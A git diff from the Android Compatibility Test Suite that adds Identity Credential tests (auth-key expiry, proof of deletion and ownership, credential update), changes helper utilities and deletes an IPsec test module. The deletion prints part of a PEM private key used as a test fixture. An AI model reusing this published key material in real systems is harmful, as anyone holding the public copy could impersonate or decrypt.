+    public void dynamicAuthWithExpirationTest() throws Exception {
+        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+        assumeTrue(
+            "IdentityCredential.storeStaticAuthenticationData(X509Certificate, Instant, byte[]) " +
+            "not supported",
+            Util.getFeatureVersion() >= 202101);
+
+        String credentialName = "test";
+
+        store.deleteCredentialByName(credentialName);
+        Collection<X509Certificate> certChain = ProvisioningTest.createCredential(store,
+                credentialName);
+
+        IdentityCredential credential = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        assertNotNull(credential);
+
+        credential.setAvailableAuthenticationKeys(3, 5);
+
+        Collection<X509Certificate> certificates = null;
+        certificates = credential.getAuthKeysNeedingCertification();
+        assertEquals(3, certificates.size());
+
+        // Endorse an auth-key but set expiration to 10 seconds in the future.
+        //
+        Instant now = Instant.now();
+        Instant tenSecondsFromNow = now.plusSeconds(10);
+        try {
+            X509Certificate key0Cert = certificates.iterator().next();
+            credential.storeStaticAuthenticationData(key0Cert,
+                    tenSecondsFromNow,
+                    new byte[]{52, 53, 44});
+            certificates = credential.getAuthKeysNeedingCertification();
+        } catch (IdentityCredentialException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        assertEquals(2, certificates.size());
+        assertArrayEquals(
+                new int[]{0, 0, 0},
+                credential.getAuthenticationDataUsageCount());
+        // Check that presentation works.
+        try {
+            IdentityCredential tc = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+            KeyPair ekp = tc.createEphemeralKeyPair();
+            KeyPair rekp = Util.createEphemeralKeyPair();
+            tc.setReaderEphemeralPublicKey(rekp.getPublic());
+            byte[] st = Util.buildSessionTranscript(ekp);
+            Map<String, Collection<String>> etr = new LinkedHashMap<>();
+            etr.put("org.iso.18013-5.2019", Arrays.asList("First name", "Last name"));
+            ResultData rd = tc.getEntries(
+                Util.createItemsRequest(etr, null),
+                etr,
+                st,
+                null);
+        } catch (IdentityCredentialException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        credential = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        assertArrayEquals(
+                new int[]{1, 0, 0},
+                credential.getAuthenticationDataUsageCount());
+
+        SystemClock.sleep(11 * 1000);
+
+        certificates = credential.getAuthKeysNeedingCertification();
+        assertEquals(3, certificates.size());
+
+        // Check that presentation now fails..
+        try {
+            IdentityCredential tc = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+            KeyPair ekp = tc.createEphemeralKeyPair();
+            KeyPair rekp = Util.createEphemeralKeyPair();
+            tc.setReaderEphemeralPublicKey(rekp.getPublic());
+            byte[] st = Util.buildSessionTranscript(ekp);
+            Map<String, Collection<String>> etr = new LinkedHashMap<>();
+            etr.put("org.iso.18013-5.2019", Arrays.asList("First name", "Last name"));
+            ResultData rd = tc.getEntries(
+                Util.createItemsRequest(etr, null),
+                etr,
+                st,
+                null);
+            assertTrue(false);
+        } catch (NoAuthenticationKeyAvailableException e) {
+            // This is the expected path...
+        } catch (IdentityCredentialException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        credential = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        assertArrayEquals(
+                new int[]{1, 0, 0},
+                credential.getAuthenticationDataUsageCount());
+
+        // Check that it works if we use setAllowUsingExpiredKeys(true)
+        try {
+            IdentityCredential tc = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+            tc.setAllowUsingExpiredKeys(true);   // <-- this is the call that makes the difference!
+            KeyPair ekp = tc.createEphemeralKeyPair();
+            KeyPair rekp = Util.createEphemeralKeyPair();
+            tc.setReaderEphemeralPublicKey(rekp.getPublic());
+            byte[] st = Util.buildSessionTranscript(ekp);
+            Map<String, Collection<String>> etr = new LinkedHashMap<>();
+            etr.put("org.iso.18013-5.2019", Arrays.asList("First name", "Last name"));
+            ResultData rd = tc.getEntries(
+                Util.createItemsRequest(etr, null),
+                etr,
+                st,
+                null);
+        } catch (IdentityCredentialException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        credential = store.getCredentialByName(credentialName,
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        assertArrayEquals(
+                new int[]{2, 0, 0},
+                credential.getAuthenticationDataUsageCount());
+
+        // ... and we're done. Clean up after ourselves.
+        store.deleteCredentialByName(credentialName);
+    }
+
     // TODO: test storeStaticAuthenticationData() throwing UnknownAuthenticationKeyException
     // on an unknown auth key
 }
diff --git a/tests/tests/identity/src/android/security/identity/cts/ProvisioningTest.java b/tests/tests/identity/src/android/security/identity/cts/ProvisioningTest.java
index 519e915..b78cb98 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ProvisioningTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ProvisioningTest.java
@@ -48,6 +48,7 @@
 import java.io.ByteArrayOutputStream;
 import java.security.KeyPair;
 import java.security.InvalidKeyException;
+import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 import java.security.cert.CertificateEncodingException;
 import java.security.cert.X509Certificate;
@@ -409,7 +410,7 @@
     }
 
     @Test
-    public void deleteCredential()
+    public void deleteCredentialByName()
             throws IdentityCredentialException, CborException, CertificateEncodingException {
         assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
 
@@ -447,6 +448,92 @@
     }
 
     @Test
+    public void deleteCredential()
+            throws IdentityCredentialException, CborException, CertificateEncodingException {
+        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+        assumeTrue("IdentityCredential.delete() not supported", Util.getFeatureVersion() >= 202101);
+
+        store.deleteCredentialByName("test");
+        assertNull(store.deleteCredentialByName("test"));
+        Collection<X509Certificate> certificateChain = createCredential(store, "test");
+
+        // Deleting the credential involves destroying the keys referenced in the returned
+        // certificateChain... so get an encoded blob we can turn into a X509 cert when
+        // checking the deletion receipt below, post-deletion.
+        byte[] encodedCredentialCert = certificateChain.iterator().next().getEncoded();
+
+        IdentityCredential credential = store.getCredentialByName("test",
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        assertNotNull(credential);
+
+        byte[] challenge = new byte[]{0x20, 0x21};
+        byte[] proofOfDeletionSignature = credential.delete(challenge);
+        byte[] proofOfDeletion = Util.coseSign1GetData(proofOfDeletionSignature);
+
+        // Check the returned CBOR is what is expected.
+        String pretty = Util.cborPrettyPrint(proofOfDeletion);
+        assertEquals("['ProofOfDeletion', 'org.iso.18013-5.2019.mdl', [0x20, 0x21], false]", pretty);
+
+        try {
+            assertTrue(Util.coseSign1CheckSignature(
+                proofOfDeletionSignature,
+                new byte[0], // Additional data
+                certificateChain.iterator().next().getPublicKey()));
+        } catch (NoSuchAlgorithmException | InvalidKeyException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+
+        // Finally, check deleting an already deleted credential returns the expected.
+        assertNull(store.deleteCredentialByName("test"));
+    }
+
+    @Test
+    public void proofOfOwnership()
+            throws IdentityCredentialException, CborException, CertificateEncodingException {
+        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+        assumeTrue("IdentityCredential.proveOwnership() not supported", Util.getFeatureVersion() >= 202101);
+
+        store.deleteCredentialByName("test");
+        assertNull(store.deleteCredentialByName("test"));
+        Collection<X509Certificate> certificateChain = createCredential(store, "test");
+
+        byte[] encodedCredentialCert = certificateChain.iterator().next().getEncoded();
+
+        IdentityCredential credential = store.getCredentialByName("test",
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+        assertNotNull(credential);
+
+        byte[] challenge = new byte[]{0x12, 0x22};
+        byte[] proofOfOwnershipSignature = credential.proveOwnership(challenge);
+        byte[] proofOfOwnership = Util.coseSign1GetData(proofOfOwnershipSignature);
+
+        // Check the returned CBOR is what is expected.
+        String pretty = Util.cborPrettyPrint(proofOfOwnership);
+        assertEquals("['ProofOfOwnership', 'org.iso.18013-5.2019.mdl', [0x12, 0x22], false]",
+                pretty);
+
+        try {
+            assertTrue(Util.coseSign1CheckSignature(
+                proofOfOwnershipSignature,
+                new byte[0], // Additional data
+                certificateChain.iterator().next().getPublicKey()));
+        } catch (NoSuchAlgorithmException | InvalidKeyException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+
+        // Finally, check the credential is still there
+        assertNotNull(store.deleteCredentialByName("test"));
+    }
+
+    @Test
     public void testProvisionAndRetrieve() throws IdentityCredentialException, CborException {
         assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
 
@@ -1016,4 +1103,201 @@
         store.deleteCredentialByName("test");
     }
 
+    @Test
+    public void testUpdateCredential() throws IdentityCredentialException, CborException, NoSuchAlgorithmException {
+        assumeTrue("IC HAL is not implemented", Util.isHalImplemented());
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+        assumeTrue("IdentityCredential.update() not supported", Util.getFeatureVersion() >= 202101);
+
+        // Create the credential...
+        //
+        String credentialName = "test";
+        String exampleDocType = "org.example.myDocType";
+        String exampleNs = "org.example.ns";
+        byte[] challenge = {0x01, 0x02};
+        int acpId = 3;
+        store.deleteCredentialByName(credentialName);
+        WritableIdentityCredential wc = store.createCredential(credentialName, exampleDocType);
+        Collection<X509Certificate> certChain = wc.getCredentialKeyCertificateChain(challenge);
+        AccessControlProfile noAuthProfile =
+                new AccessControlProfile.Builder(new AccessControlProfileId(acpId))
+                        .setUserAuthenticationRequired(false)
+                        .build();
+        Collection<AccessControlProfileId> idsNoAuth = new ArrayList<AccessControlProfileId>();
+        idsNoAuth.add(new AccessControlProfileId(acpId));
+        PersonalizationData personalizationData =
+                new PersonalizationData.Builder()
+                        .addAccessControlProfile(noAuthProfile)
+                        .putEntry(exampleNs, "first_name", idsNoAuth, Util.cborEncodeString("John"))
+                        .putEntry(exampleNs, "last_name", idsNoAuth, Util.cborEncodeString("Smith"))
+                        .build();
+        byte[] proofOfProvisioningSignature = wc.personalize(personalizationData);
+        byte[] proofOfProvisioning = Util.coseSign1GetData(proofOfProvisioningSignature);
+        byte[] proofOfProvisioningSha256 = MessageDigest.getInstance("SHA-256").digest(proofOfProvisioning);
+        String pretty = "";
+        try {
+            pretty = Util.cborPrettyPrint(proofOfProvisioning);
+        } catch (CborException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        assertEquals("[\n"
+                + "  'ProofOfProvisioning',\n"
+                + "  '" + exampleDocType + "',\n"
+                + "  [\n"
+                + "    {\n"
+                + "      'id' : " + acpId + "\n"
+                + "    }\n"
+                + "  ],\n"
+                + "  {\n"
+                + "    '" + exampleNs + "' : [\n"
+                + "      {\n"
+                + "        'name' : 'first_name',\n"
+                + "        'value' : 'John',\n"
+                + "        'accessControlProfiles' : [" + acpId + "]\n"
+                + "      },\n"
+                + "      {\n"
+                + "        'name' : 'last_name',\n"
+                + "        'value' : 'Smith',\n"
+                + "        'accessControlProfiles' : [" + acpId + "]\n"
+                + "      }\n"
+                + "    ]\n"
+                + "  },\n"
+                + "  false\n"
+                + "]", pretty);
+        try {
+            assertTrue(Util.coseSign1CheckSignature(
+                proofOfProvisioningSignature,
+                new byte[0], // Additional data
+                certChain.iterator().next().getPublicKey()));
+        } catch (NoSuchAlgorithmException | InvalidKeyException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+
+        IdentityCredential credential = store.getCredentialByName("test",
+                IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+
+        // Configure to use 3 auth keys and endorse all of them
+        credential.setAvailableAuthenticationKeys(3, 5);
+        Collection<X509Certificate> certificates = credential.getAuthKeysNeedingCertification();
+        assertEquals(3, certificates.size());
+        for (X509Certificate cert : certificates) {
+            credential.storeStaticAuthenticationData(cert, new byte[]{1, 2});
+            // Check each cert has the correct ProofOfProvisioning SHA-256 in the
+            // ProofOfBinding CBOR stored at OID 1.3.6.1.4.1.11129.2.1.26
+            byte[] popSha256FromCert = Util.getPopSha256FromAuthKeyCert(cert);
+            assertArrayEquals(popSha256FromCert, proofOfProvisioningSha256);
+        }
+        assertEquals(0, credential.getAuthKeysNeedingCertification().size());
+
+        // Update the credential
+        AccessControlProfile updNoAuthProfile =
+                new AccessControlProfile.Builder(new AccessControlProfileId(31))
+                        .setUserAuthenticationRequired(false)
+                        .build();
+        Collection<AccessControlProfileId> updIds = new ArrayList<AccessControlProfileId>();
+        updIds.add(new AccessControlProfileId(31));
+        String updNs = "org.iso.other_ns";
+        PersonalizationData updPd =
+                new PersonalizationData.Builder()
+                        .addAccessControlProfile(updNoAuthProfile)
+                        .putEntry(updNs, "first_name", updIds, Util.cborEncodeString("Lawrence"))
+                        .putEntry(updNs, "last_name", updIds, Util.cborEncodeString("Waterhouse"))
+                        .build();
+        byte[] updProofOfProvisioningSignature = credential.update(updPd);
+
+        // Check the ProofOfProvisioning for the updated data (contents _and_ signature)
+        byte[] updProofOfProvisioning = Util.coseSign1GetData(updProofOfProvisioningSignature);
+        byte[] updProofOfProvisioningSha256 = MessageDigest.getInstance("SHA-256").digest(updProofOfProvisioning);
+        try {
+            pretty = Util.cborPrettyPrint(updProofOfProvisioning);
+        } catch (CborException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        assertEquals("[\n"
+                + "  'ProofOfProvisioning',\n"
+                + "  '" + exampleDocType + "',\n"
+                + "  [\n"
+                + "    {\n"
+                + "      'id' : 31\n"
+                + "    }\n"
+                + "  ],\n"
+                + "  {\n"
+                + "    'org.iso.other_ns' : [\n"
+                + "      {\n"
+                + "        'name' : 'first_name',\n"
+                + "        'value' : 'Lawrence',\n"
+                + "        'accessControlProfiles' : [31]\n"
+                + "      },\n"
+                + "      {\n"
+                + "        'name' : 'last_name',\n"
+                + "        'value' : 'Waterhouse',\n"
+                + "        'accessControlProfiles' : [31]\n"
+                + "      }\n"
+                + "    ]\n"
+                + "  },\n"
+                + "  false\n"
+                + "]", pretty);
+        try {
+            assertTrue(Util.coseSign1CheckSignature(
+                updProofOfProvisioningSignature,
+                new byte[0], // Additional data
+                certChain.iterator().next().getPublicKey()));
+        } catch (NoSuchAlgorithmException | InvalidKeyException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        // Check the returned CredentialKey cert chain from the now updated
+        // IdentityCredential matches the original certificate chain.
+        //
+        Collection<X509Certificate> readBackCertChain =
+                credential.getCredentialKeyCertificateChain();
+        assertEquals(certChain.size(), readBackCertChain.size());
+        Iterator<X509Certificate> it = readBackCertChain.iterator();
+        for (X509Certificate expectedCert : certChain) {
+            X509Certificate readBackCert = it.next();
+            assertEquals(expectedCert, readBackCert);
+        }
+
+        // Check that the credential is still configured to use 3 auth keys and
+        // that they all need replacement... then check and endorse the
+        // replacements
+        Collection<X509Certificate> updCertificates = credential.getAuthKeysNeedingCertification();
+        assertEquals(3, updCertificates.size());
+        for (X509Certificate cert : updCertificates) {
+            credential.storeStaticAuthenticationData(cert, new byte[]{1, 2});
+            // Check each cert has the correct - *updated* - ProofOfProvisioning SHA-256 in the
+            // ProofOfBinding CBOR stored at OID 1.3.6.1.4.1.11129.2.1.26
+            byte[] popSha256FromCert = Util.getPopSha256FromAuthKeyCert(cert);
+            assertArrayEquals(popSha256FromCert, updProofOfProvisioningSha256);
+        }
+        assertEquals(0, credential.getAuthKeysNeedingCertification().size());
+
+        // Check we can read back the updated data and it matches what we
+        // updated it to.
+        Map<String, Collection<String>> entriesToRequest = new LinkedHashMap<>();
+        entriesToRequest.put(updNs,
+                Arrays.asList("first_name",
+                        "last_name"));
+        ResultData rd = credential.getEntries(
+                Util.createItemsRequest(entriesToRequest, null),
+                entriesToRequest,
+                null,
+                null);
+
+        Collection<String> resultNamespaces = rd.getNamespaces();
+        assertEquals(resultNamespaces.size(), 1);
+        assertEquals(updNs, resultNamespaces.iterator().next());
+        assertEquals(2, rd.getEntryNames(updNs).size());
+
+        assertEquals("Lawrence", Util.getStringEntry(rd, updNs, "first_name"));
+        assertEquals("Waterhouse", Util.getStringEntry(rd, updNs, "last_name"));
+
+        store.deleteCredentialByName("test");
+    }
+
 }
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index df9a300..733a401 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -20,6 +20,8 @@
 import android.security.identity.IdentityCredentialStore;
 
 import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.FeatureInfo;
 import android.os.SystemProperties;
 import android.security.keystore.KeyProperties;
 import android.util.Log;
@@ -37,6 +39,7 @@
 import java.security.KeyStore;
 import java.security.KeyPair;
 import java.security.KeyPairGenerator;
+import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 import java.security.PublicKey;
 import java.security.PrivateKey;
@@ -67,6 +70,9 @@
 import java.security.interfaces.ECPublicKey;
 import java.security.spec.ECPoint;
 
+import org.bouncycastle.asn1.ASN1InputStream;
+import org.bouncycastle.asn1.ASN1OctetString;
+
 import co.nstant.in.cbor.CborBuilder;
 import co.nstant.in.cbor.CborDecoder;
 import co.nstant.in.cbor.CborEncoder;
@@ -89,6 +95,40 @@
 class Util {
     private static final String TAG = "Util";
 
+    // Returns 0 if not implemented. Otherwise returns the feature version.
+    //
+    static int getFeatureVersion() {
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        PackageManager pm = appContext.getPackageManager();
+
+        int featureVersionFromPm = 0;
+        if (pm.hasSystemFeature(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
+            FeatureInfo info = null;
+            FeatureInfo[] infos = pm.getSystemAvailableFeatures();
+            for (int n = 0; n < infos.length; n++) {
+                FeatureInfo i = infos[n];
+                if (i.name.equals(PackageManager.FEATURE_IDENTITY_CREDENTIAL_HARDWARE)) {
+                    info = i;
+                    break;
+                }
+            }
+            if (info != null) {
+                featureVersionFromPm = info.version;
+            }
+        }
+
+        // Use of the system feature is not required since Android 12. So for Android 11
+        // return 202009 which is the feature version shipped with Android 11.
+        if (featureVersionFromPm == 0) {
+            IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+            if (store != null) {
+                featureVersionFromPm = 202009;
+            }
+        }
+
+        return featureVersionFromPm;
+    }
+
     static byte[] canonicalizeCbor(byte[] encodedCbor) throws CborException {
         ByteArrayInputStream bais = new ByteArrayInputStream(encodedCbor);
         List<DataItem> dataItems = new CborDecoder(bais).decode();
@@ -1002,15 +1042,10 @@
 
             byte[] sessionTranscriptBytes =
                     Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
-            byte[] sharedSecretWithSessionTranscriptBytes =
-                    Util.concatArrays(sharedSecret, sessionTranscriptBytes);
 
-            byte[] salt = new byte[1];
-            byte[] info = new byte[0];
-
-            salt[0] = 0x00;
-            byte[] derivedKey = Util.computeHkdf("HmacSha256",
-                    sharedSecretWithSessionTranscriptBytes, salt, info, 32);
+            byte[] salt = MessageDigest.getInstance("SHA-256").digest(sessionTranscriptBytes);
+            byte[] info = new byte[] {'E', 'M', 'a', 'c', 'K', 'e', 'y'};
+            byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
             SecretKey secretKey = new SecretKeySpec(derivedKey, "");
             return secretKey;
         } catch (InvalidKeyException
@@ -1266,4 +1301,63 @@
         }
         return false;
     }
+
+    // Returns true if, and only if, the Direct Access Identity Credential HAL (and credstore) is
+    // implemented on the device under test.
+    static boolean isDirectAccessHalImplemented() {
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getDirectAccessInstance(appContext);
+        if (store != null) {
+            return true;
+        }
+        return false;
+    }
+
+    static byte[] getPopSha256FromAuthKeyCert(X509Certificate cert) {
+        byte[] octetString = cert.getExtensionValue("1.3.6.1.4.1.11129.2.1.26");
+        if (octetString == null) {
+            return null;
+        }
+        Util.hexdump("octetString", octetString);
+
+        try {
+            ASN1InputStream asn1InputStream = new ASN1InputStream(octetString);
+            byte[] cborBytes = ((ASN1OctetString) asn1InputStream.readObject()).getOctets();
+            Util.hexdump("cborBytes", cborBytes);
+
+            ByteArrayInputStream bais = new ByteArrayInputStream(cborBytes);
+            List<DataItem> dataItems = new CborDecoder(bais).decode();
+            if (dataItems.size() != 1) {
+                throw new RuntimeException("Expected 1 item, found " + dataItems.size());
+            }
+            if (!(dataItems.get(0) instanceof co.nstant.in.cbor.model.Array)) {
+                throw new RuntimeException("Item is not a map");
+            }
+            co.nstant.in.cbor.model.Array array = (co.nstant.in.cbor.model.Array) dataItems.get(0);
+            List<DataItem> items = array.getDataItems();
+            if (items.size() < 2) {
+                throw new RuntimeException("Expected at least 2 array items, found " + items.size());
+            }
+            if (!(items.get(0) instanceof UnicodeString)) {
+                throw new RuntimeException("First array item is not a string");
+            }
+            String id = ((UnicodeString) items.get(0)).getString();
+            if (!id.equals("ProofOfBinding")) {
+                throw new RuntimeException("Expected ProofOfBinding, got " + id);
+            }
+            if (!(items.get(1) instanceof ByteString)) {
+                throw new RuntimeException("Second array item is not a bytestring");
+            }
+            byte[] popSha256 = ((ByteString) items.get(1)).getBytes();
+            if (popSha256.length != 32) {
+                throw new RuntimeException("Expected bstr to be 32 bytes, it is " + popSha256.length);
+            }
+            return popSha256;
+        } catch (IOException e) {
+            throw new RuntimeException("Error decoding extension data", e);
+        } catch (CborException e) {
+            throw new RuntimeException("Error decoding data", e);
+        }
+    }
+
 }
diff --git a/tests/tests/instantapp/Android.bp b/tests/tests/instantapp/Android.bp
index 62bc24f..9f4da5b 100644
--- a/tests/tests/instantapp/Android.bp
+++ b/tests/tests/instantapp/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsInstantAppTests",
     srcs: [ "src/**/*.kt" ],
diff --git a/tests/tests/ipsec/Android.bp b/tests/tests/ipsec/Android.bp
deleted file mode 100644
index 948cc05..0000000
--- a/tests/tests/ipsec/Android.bp
+++ /dev/null
@@ -1,48 +0,0 @@
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
-    name: "CtsIkeTestCases",
-    defaults: ["cts_defaults"],
-
-    // Include both the 32 and 64 bit versions
-    compile_multilib: "both",
-
-    libs: [
-        "android.net.ipsec.ike.stubs.system",
-        "android.test.base",
-    ],
-
-    srcs: [
-        "src/**/*.java",
-        ":ike-test-utils",
-    ],
-
-    static_libs: [
-        "androidx.test.ext.junit",
-        "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "net-tests-utils",
-    ],
-
-    platform_apis: true,
-
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "mts",
-        "vts",
-        "general-tests",
-    ],
-}
diff --git a/tests/tests/ipsec/AndroidManifest.xml b/tests/tests/ipsec/AndroidManifest.xml
deleted file mode 100644
index 052b12d..0000000
--- a/tests/tests/ipsec/AndroidManifest.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.ipsec.cts"
-    android:targetSandboxVersion="2">
-
-    <!--Allow tests to call ConnectivityManager#getActiveNetwork()-->
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <!--Allow tests to create socket -->
-    <uses-permission android:name="android.permission.INTERNET"/>
-
-    <application android:label="CtsIkeTestCases">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="android.net.ipsec.ike" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.ipsec.cts"
-                     android:label="CTS tests of android.net.ipsec.ike">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/ipsec/AndroidTest.xml b/tests/tests/ipsec/AndroidTest.xml
deleted file mode 100644
index 7ebfd95..0000000
--- a/tests/tests/ipsec/AndroidTest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<!-- Copyright (C) 2020 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS IKE test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsIkeTestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.ipsec.cts" />
-        <option name="hidden-api-checks" value="false" />
-    </test>
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.ipsec" />
-    </object>
-</configuration>
diff --git a/tests/tests/ipsec/OWNERS b/tests/tests/ipsec/OWNERS
deleted file mode 100644
index 26407ff..0000000
--- a/tests/tests/ipsec/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-lorenzo@google.com
-nharold@google.com
-satk@google.com
diff --git a/tests/tests/ipsec/assets/key/client-a-private-key.key b/tests/tests/ipsec/assets/key/client-a-private-key.key
deleted file mode 100644
index 22736e9..0000000
--- a/tests/tests/ipsec/assets/key/client-a-private-key.key
+++ /dev/null
@@ -1,28 +0,0 @@
------BEGIN PRIVATE KEY-----
-MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCv3CvrCGokJSWL
-8ufg6u9LCW4EezztbktqpC0T+1m98+Ujb8/eJ0L2UaxZ9QBSBAqXxEoeZFBeoCXu
-7ezUd5qUPfIhKLAkQTAyU/KgfhHh4i+MJK5ghPbGDE8r2gKUXOkM6M5//ZCpmu0K
-Y/9uQL6D5bkxEaoWegEO+wSXm+hTTgKDtQKHvRibgdcZkcY0cA9JsLrC/nIkP+7i
-pbBT+VTuV6gAnKIV0nq8zvI3A/Z3nAb5Gt0g3qaqs59StDT0QtuXzJkuZEo3XSrS
-jon+8NjSNzqVbJj95B7+uiH+91VEbMtJYFz2MipKvJQDK7Zlxke7LxRj2xJfksJK
-a92/ncxfAgMBAAECggEAQztaMvW5lm35J8LKsWs/5qEJRX9T8LWs8W0oqq36Riub
-G2wgvR6ndAIPcSjAYZqX7iOl7m6NZ0+0kN63HxdGqovwKIskpAekBGmhpYftED1n
-zh0r6UyMB3UnQ22KdOv8UOokIDxxdNX8728BdUYdT9Ggdkj5jLRB+VcwD0IUlNvo
-zzTpURV9HEd87uiLqd4AAHXSI0lIHI5U43z24HI/J6/YbYHT3Rlh6CIa/LuwO6vL
-gFkgqg0/oy6yJtjrHtzNVA67F0UaH62hR4YFgbC0d955SJnDidWOv/0j2DMpfdCc
-9kFAcPwUSyykvUSLnGIKWSG4D+6gzIeAeUx4oO7kMQKBgQDVNRkX8AGTHyLg+NXf
-spUWWcodwVioXl30Q7h6+4bt8OI61UbhQ7wX61wvJ1cySpa2KOYa2UdagQVhGhhL
-ADu363R77uXF/jZgzVfmjjyJ2nfDqRgHWRTlSkuq/jCOQCz7VIPHRZg5WL/9D4ms
